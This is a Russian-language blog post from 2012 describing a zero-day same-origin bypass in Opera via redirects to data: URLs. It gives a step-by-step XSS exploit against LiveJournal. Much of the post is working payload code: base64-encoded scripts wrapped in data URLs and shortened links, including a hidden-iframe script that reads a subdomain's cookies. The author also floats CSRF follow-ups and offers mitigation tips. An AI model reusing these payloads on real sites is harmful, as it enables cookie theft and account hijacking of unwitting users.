2012/10/14 05:10:41
Основой статьи послужила информация о уязвимости в браузере Opera опубликованная на форуме RDot:


XSS на любых сайтах (Opera, 0-day, обход SOP)

Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.
Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.
Советую предварительно ознакомится со следующей информацией:
http://ru.wikipedia.org/wiki/Правило_ограничения_домена
http://ru.wikipedia.org/wiki/Data:_URL





В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.  

Пример:
<script>alert(document.domain)</script> 

data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+ 



Более полная статья находится на rdot: https://rdot.org/forum/showthread.php?t=2444
Но оказалось что данной уязвимости подвержен и Firefox https://forum.antichat.ru/showpost.php?p=3296284&postcount=4


После прочтения статьи я решила попробовать использовать данную уязвимость на http://www.livejournal.com,
вот результат моих исследований:


1.
Проверяем алерт с названием сайта с которого пришли, для этого используем код взятый на rdot:  

<script>
if(document.domain == 'tinyurl.com')
location.reload();
else
alert(document.domain);
</script>   


кодируем его в base64 закодировать можно на сайте http://x3k.ru/  

в результате кодировки получаем: PHNjcmlwdD4NCmlmKGRvY3VtZW50LmRvbWFpbiA9PSAndGlueXVybC5jb20nKQ0KbG9jYXRpb24ucmVsb2FkKCk7DQplbHNlDQphbGVydChkb2N1bWVudC5kb21haW4pOw0KPC9zY3JpcHQ+ICAg ем:
 
После чего добавляем к полученным данным data: URL:"data:text/html;base64,
получаем конструкцию:    
data:text/html;base64,PHNjcmlwdD4NCmlmKGRvY3VtZW50LmRvbWFpbiA9PSAndGlueXVybC5jb20nKQ0KbG9jYXRpb24ucmVsb2FkKCk7DQplbHNlDQphbGVydChkb2N1bWVudC5kb21haW4pOw0KPC9zY3JpcHQ+ICAg

Далее идём на http://tinyurl.com и преобразовываем, сокращаем полученные данные в  ссылку  http://tinyurl.com/test-bosikom1  при переходе которой мы видим алерт с указанием сайта с которого мы перешли:

alert1   

Нам это практически ничего не даёт, по тому мы попробуем прочитать куки " HTTP cookie " ЖЖ , для этого составляем сценарий:  
 

<script>
if(document.domain == 'tinyurl.com')
location.reload();

function xss()
{
alert(document.frames[0].document.cookie);
}
function ifrAdd()
{
var ifr = document.createElement('iframe');
ifr.style = 'width:0px;height:0px;visibility:hidden';
ifr.src = 'http://bosikomponebu1.livejournal.com/res/78902865/stylesheet';
ifr.onload = function(){xss()};
document.body.appendChild(ifr);
}
</script>
<body onload=ifrAdd()>  


так же кодируем в base64, добавляем data URL :
data:text/html;base64,PHNjcmlwdD4gDQppZihkb2N1bWVudC5kb21haW4gPT0gJ3Rpbnl1cmwuY29tJykgDQogICAgbG9jYXRpb24ucmVsb2FkKCk7IA0KDQpmdW5jdGlvbiB4c3MoKSANCnsgDQogICAgYWxlcnQoZG9jdW1lbnQuZnJhbWVzWzBdLmRvY3VtZW50LmNvb2tpZSk7IA0KfSANCg0KZnVuY3Rpb24gaWZyQWRkKCkgDQp7IA0KICAgIHZhciBpZnIgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTsgDQogICAgaWZyLnN0eWxlID0gJ3dpZHRoOjBweDtoZWlnaHQ6MHB4O3Zpc2liaWxpdHk6aGlkZGVuJzsgDQogICAgaWZyLnNyYyA9ICdodHRwOi8vYm9zaWtvbXBvbmVidTEubGl2ZWpvdXJuYWwuY29tL3Jlcy83ODkwMjg2NS9zdHlsZXNoZWV0JzsgDQogICAgaWZyLm9ubG9hZCA9IGZ1bmN0aW9uKCl7eHNzKCl9OyANCiAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGlmcik7IA0KfSANCg0KPC9zY3JpcHQ+IA0KPGJvZHkgb25sb2FkPWlmckFkZCgpPiA=     
 
сокращаем до ссылки http://tinyurl.com/test-bosikom2 переходим и видим как отобразились наши куки: 

 

alert2  


Что делать с cookie , как их перехватывать и сохранять вы можете узнать из статьи XSS. Межсайтовый скриптинг .

В данном случае для нас эти куки практически не представляют никакого интереса, так как получены они с поддомена, но мы можем попробовать воспользоваться методом с статьи: XSS на поддоменах. Новый метод использования.
Получится или нет я не знаю, так же можно попробовать использовать CSRF для автоматического перевода жетонов, автоматического репоста или изменения данных в профиле не требующие подтверждение паролем, но всё это теория которую к сожалению мне проверить трудно на данный момент.



Теперь уйдём от жж и посмотрим на остальные сайты.

Как видно из заголовка статьи, данной уязвимости подвержен любой сайт который предоставляет возможность размещения ссылок на другие сайты. По тому вы можете быть атакованы любым, даже самым безобидным и любимым вами сайтом, форумом.

Временное решение проблемы, отказаться от использования Opera до выпуска фикса, меньше ходить по ссылкам оставленным в теле сообщения и везде ставить разные пароли.


Подводя итоги, для проверки вашего браузера пройдите по ссылке:
    
 http://tinyurl.com/test-bosikom1  в результате чего вы должны увидеть такую табличку:
 
 
   

при переходе по ссылке   http://tinyurl.com/test-bosikom2  вы увидите такое окно:  
 
 
 

   

0 посетителей, 40 комментариев, 0 ссылок, за 24 часа